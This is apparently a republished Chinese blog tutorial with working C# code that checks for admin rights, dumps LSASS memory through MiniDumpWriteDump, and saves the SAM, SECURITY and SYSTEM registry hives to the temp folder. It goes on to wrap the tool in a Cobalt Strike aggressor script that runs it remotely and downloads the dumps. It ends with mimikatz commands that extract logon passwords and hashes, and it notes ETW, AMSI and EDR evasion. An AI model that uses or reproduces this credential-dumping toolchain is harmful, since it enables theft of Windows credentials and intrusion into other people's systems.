C# dump系統lsass內存和sam註冊表詳細

1、檢測權限

因為dump系統lsass內存和sam註冊表需要管理員權限,所以首先需要對當前進程上下文權限做判斷。

public static bool IsHighIntegrity()
{
            // returns true if the current process is running with adminstrative 
privs in a high integrity context
            var identity = WindowsIdentity.GetCurrent();
            var principal = new WindowsPrincipal(identity);
            return principal.IsInRole(WindowsBuiltInRole.Administrator);
}

2、lsass內存

MiniDumpWriteDumpMS DbgHelp.dll 中一個API, 用於導出當前運行的程序的Dump,利用MiniDumpWriteDump實現dump lsass內存的功能,先加載MiniDumpWriteDump函數。

[DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump", 
CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, 
ExactSpelling = true, SetLastError = true)]
public static extern bool MiniDumpWriteDump(IntPtr hProcess, uint 
processId, SafeHandle hFile, uint dumpType, IntPtr expParam, IntPtr 
userStreamParam, IntPtr callbackParam);

之後調用函數,並保存dump文件,代碼如下所示:

namespace sharpdump
{
    public class MiniDumper
    {
        public static string MiniDump()
        {
            Process[] pLsass = Process.GetProcessesByName("lsass");
            string dumpFile = Path.Combine(Path.GetTempPath(), 
string.Format("lsass{0}.dmp", pLsass[0].Id));
            if (File.Exists(dumpFile)) File.Delete(dumpFile);
            Console.WriteLine(String.Format("[*] Dumping lsass({0}) to {1}", 
pLsass[0].Id, dumpFile));
            using (FileStream fs = new FileStream(dumpFile, FileMode.Create, 
FileAccess.ReadWrite, FileShare.Write))
            {
                bool bRet = MiniDumpWriteDump(pLsass[0].Handle, (uint)pLsass[0].Id, 
fs.SafeFileHandle, (uint)2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
                if (bRet)
                {
                    Console.WriteLine("[+] Dump successful!");
                    return dumpFile;
                }
                else
                {
                    Console.WriteLine(String.Format("[X] Dump Failed! ErrorCode: 
{0}", Marshal.GetLastWin32Error()));
                    return null;
                }
            }
        }
    }
}

3、實現reg save保存sam註冊表

首先導入需要用到的API。

        [DllImport("advapi32.dll", CharSet = CharSet.Auto)]
        public static extern int RegOpenKeyEx(
            UIntPtr hKey,
            string subKey,
            int ulOptions,
            int samDesired,
            out UIntPtr hkResult
        );

        [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
        public static extern int RegSaveKey(
            UIntPtr hKey,
            string lpFile,
            IntPtr lpSecurityAttributes
        );

        [DllImport("advapi32.dll", SetLastError = true)]
        public static extern int RegCloseKey(
            UIntPtr hKey
        );

然後構建函數,對”SAM”, “SECURITY”, “SYSTEM”註冊表進行reg save。

namespace sharpdump
{
    internal class Reg
    {
        public static UIntPtr HKEY_LOCAL_MACHINE = new UIntPtr(0x80000002u);
        public static int KEY_READ = 0x20019;
        public static int KEY_ALL_ACCESS = 0xF003F;
        public static int REG_OPTION_OPEN_LINK = 0x0008;
        public static int REG_OPTION_BACKUP_RESTORE = 0x0004;
        public static int KEY_QUERY_VALUE = 0x1;
        public static void ExportRegKey(string key, string outFile)
        {
            var hKey = UIntPtr.Zero;
            try
            {
                RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, REG_OPTION_BACKUP_RESTORE | 
REG_OPTION_OPEN_LINK, KEY_ALL_ACCESS, out hKey); 
//https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexa
                RegSaveKey(hKey, outFile, IntPtr.Zero);
                RegCloseKey(hKey);
                Console.WriteLine("Exported HKLM\\{0} at {1}", key, outFile);
            }
            catch (Exception e)
            {
                throw e;
            }
        }
        public static string DumpReg(string key)
        {
            try
            {
                String addr = key + ".hiv";
                addr = Path.Combine(Path.GetTempPath(), addr);
                ExportRegKey(key, addr);
                return addr;
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
                Console.WriteLine(e.StackTrace);
                return "";
            }
        }
    }
}

文件會被dumptemp目錄下,然後對所有dump成功的文件進行打包處理,方便下載。完整代碼稍後上傳至知識星球。

4、關於ExecuteAssembly

ExecuteAssembly是CS可執行組件的一個替代方案,ExecuteAssembly基於C/C++構建,可以幫助廣大研究人員實現.NET程序集的加載和註入。

ExecuteAssembly復用瞭主機進程spawnto來加載CLR模塊/AppDomainManagerStomping加載器/.NET程序集PE DOS頭,並卸載瞭.NET相關模塊,以實現ETW+AMSI繞過。除此之外,它還能夠繞過基於NT靜態系統調用的EDR鉤子,以及通過動態解析API(superfasthash哈希算法)實現隱藏導入。

當前metasploit-frameworkCobalt Strike都已經實現瞭ExecuteAssembly功能,下面主要以Cobalt Strike為例,實現dump系統lsass內存和sam註冊表的功能

5、CS 插件

以結合 Cobalt Strike 為例,編寫一個簡單的cna腳本。

popup beacon_bottom {
    menu "Dumper" {
     item "SharpDump"{
      local('$bid');
               foreach $bid ($1){
                   bexecute_assembly($1, script_resource("Dumper.exe"));
            }
     }
     item "DownloadDump"{
   prompt_text("File's address to download", "", lambda({
    bdownload(@ids, $1);
            }, @ids => $1));
   
        }
    }
}

加載腳本後,執行SharpDump,結果如下所示:

下載存放在temp目錄下的dump.gz,然後使用Decompress解壓,最後使用mimikatz 解密用戶lsass.dmpsam文件

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

 
lsadump::sam /sam:sam.hiv /system:system.hiv

到此這篇關於C# dump系統lsass內存和sam註冊表詳細的文章就介紹到這瞭,更多相關C# dump系統lsass內存和sam註冊表內容請搜索WalkonNet以前的文章或繼續瀏覽下面的相關文章希望大傢以後多多支持WalkonNet!

推薦閱讀: